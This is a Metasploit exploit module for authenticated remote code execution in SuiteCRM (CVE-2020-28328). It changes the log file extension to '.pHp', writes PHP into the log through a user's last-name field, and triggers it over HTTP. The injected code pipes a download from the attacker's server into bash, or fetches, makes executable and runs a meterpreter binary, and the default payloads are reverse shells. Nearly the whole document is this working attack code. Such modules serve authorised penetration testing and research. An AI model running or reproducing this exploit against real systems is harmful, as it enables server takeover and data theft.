This Metasploit module exploits an input validation error on the log file extension parameter. It does not properly validate upper/lower case characters. Once this occurs, the application log file will be treated as a php file. The log file can then be populated with php code by changing the username of a valid user, as this info is logged. The php code in the file can then be executed by sending an HTTP request to the log file. A similar issue was reported by the same researcher where a blank file extension could be supplied and the extension could be provided in the file name. This exploit will work on those versions as well, and those references are included.
d7acd34cfa8d5f47a3eb69700fe86af1##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SuiteCRM Log File Remote Code Execution',
'Description' => %q{
This module exploits an input validation error on the log file extension parameter. It does
not properly validate upper/lower case characters. Once this occurs, the application log file
will be treated as a php file. The log file can then be populated with php code by changing the
username of a valid user, as this info is logged. The php code in the file can then be executed
by sending an HTTP request to the log file. A similar issue was reported by the same researcher
where a blank file extension could be supplied and the extension could be provided in the file
name. This exploit will work on those versions as well, and those references are included.
},
'License' => MSF_LICENSE,
'Author' =>
[
'M. Cory Billington' # @_th3y
],
'References' =>
[
['CVE', '2020-28328'], # First CVE
['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.
['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit
['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit
],
'Platform' => %w[linux unix],
'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],
'Targets' =>
[
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true,
'DisclosureDate' => '2021-04-28',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),
OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),
OptString.new('PASS', [true, 'Password for administrator', 'admin']),
OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),
OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),
OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])
]
)
end
def check
authenticate unless @authenticated
return Exploit::CheckCode::Unknown unless @authenticated
version_check_request = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Home',
'action' => 'About'
}
}
)
return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request
version_match = version_check_request.body[/
Version
\s
\d{1} # Major revision
\.
\d{1,2} # Minor revision
\.
\d{1,2} # Bug fix release
/x]
version = version_match.partition(' ').last
if version.nil? || version.empty?
about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
end
patched_version = Rex::Version.new('7.11.18')
current_version = Rex::Version.new(version)
return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version
Exploit::CheckCode::Safe("SuiteCRM #{version}")
end
def authenticate
print_status("Authenticating as #{datastore['USER']}")
initial_req = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Users',
'action' => 'Login'
}
}
)
return false unless initial_req && initial_req.code == 200
login = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'module' => 'Users',
'action' => 'Authenticate',
'return_module' => 'Users',
'return_action' => 'Login',
'user_name' => datastore['USER'],
'username_password' => datastore['PASS'],
'Login' => 'Log In'
}
}
)
return false unless login && login.code == 302
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Administration',
'action' => 'index'
}
}
)
auth_succeeded?(res)
end
def auth_succeeded?(res)
return false unless res
if res.code == 200
print_good("Authenticated as: #{datastore['USER']}")
if res.body.include?('Unauthorized access to administration.')
print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")
@is_admin = false
else
print_good("#{datastore['USER']} has administrative rights.")
@is_admin = true
end
@authenticated = true
return true
else
print_error("Failed to authenticate as: #{datastore['USER']}")
return false
end
end
def post_log_file(data)
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'keep_cookies' => true,
'headers' => {
'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"
},
'data' => data.to_s
}
)
end
def modify_system_settings_file
filename = rand_text_alphanumeric(8).to_s
extension = '.pHp'
@php_fname = filename + extension
action = 'Modify system settings file'
print_status("Trying - #{action}")
data = Rex::MIME::Message.new
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
data.add_part('Configurator', nil, nil, 'form-data; name="module"')
data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')
data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')
data.add_part('info', nil, nil, 'form-data; name="logger_level"')
data.add_part('Save', nil, nil, 'form-data; name="save"')
res = post_log_file(data)
check_logfile_request(res, action)
end
def poison_log_file
action = 'Poison log file'
if target.arch.first == 'cmd'
command_injection = "<?php `curl #{@download_url} | bash`; ?>"
else
@meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}"
command_injection = %(
<?php `curl #{@download_url} -o #{@meterpreter_fname};
/bin/chmod 700 #{@meterpreter_fname};
/bin/sh -c #{@meterpreter_fname};`; ?>
)
end
print_status("Trying - #{action}")
data = Rex::MIME::Message.new
data.add_part('Users', nil, nil, 'form-data; name="module"')
data.add_part('1', nil, nil, 'form-data; name="record"')
data.add_part('Save', nil, nil, 'form-data; name="action"')
data.add_part('EditView', nil, nil, 'form-data; name="page"')
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')
res = post_log_file(data)
check_logfile_request(res, action)
end
def restore
action = 'Restore logging to default configuration'
print_status("Trying - #{action}")
data = Rex::MIME::Message.new
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
data.add_part('Configurator', nil, nil, 'form-data; name="module"')
data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')
data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')
data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')
data.add_part('Save', nil, nil, 'form-data; name="save"')
post_log_file(data)
data = Rex::MIME::Message.new
data.add_part('Users', nil, nil, 'form-data; name="module"')
data.add_part('1', nil, nil, 'form-data; name="record"')
data.add_part('Save', nil, nil, 'form-data; name="action"')
data.add_part('EditView', nil, nil, 'form-data; name="page"')
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')
res = post_log_file(data)
print_error("Failed - #{action}") unless res && res.code == 301
print_good("Succeeded - #{action}")
end
def check_logfile_request(res, action)
fail_with(Failure::Unknown, "#{action} - no reply") unless res
unless res.code == 301
print_error("Failed - #{action}")
fail_with(Failure::UnexpectedReply, "Failed - #{action}")
end
print_good("Succeeded - #{action}")
end
def execute_php
print_status("Executing php code in log file: #{@php_fname}")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri, @php_fname),
'keep_cookies' => true
}
)
fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404
register_files_for_cleanup(@php_fname)
register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?
end
def on_request_uri(cli, _request)
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
print_good("#{peer} - Payload sent!")
end
def start_http_server
start_service(
{
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => resource_uri
}
}
)
@download_url = get_uri
end
def exploit
start_http_server
authenticate unless @authenticated
fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated
fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin
modify_system_settings_file
poison_log_file
execute_php
ensure
restore if datastore['RESTORECONF']
end
end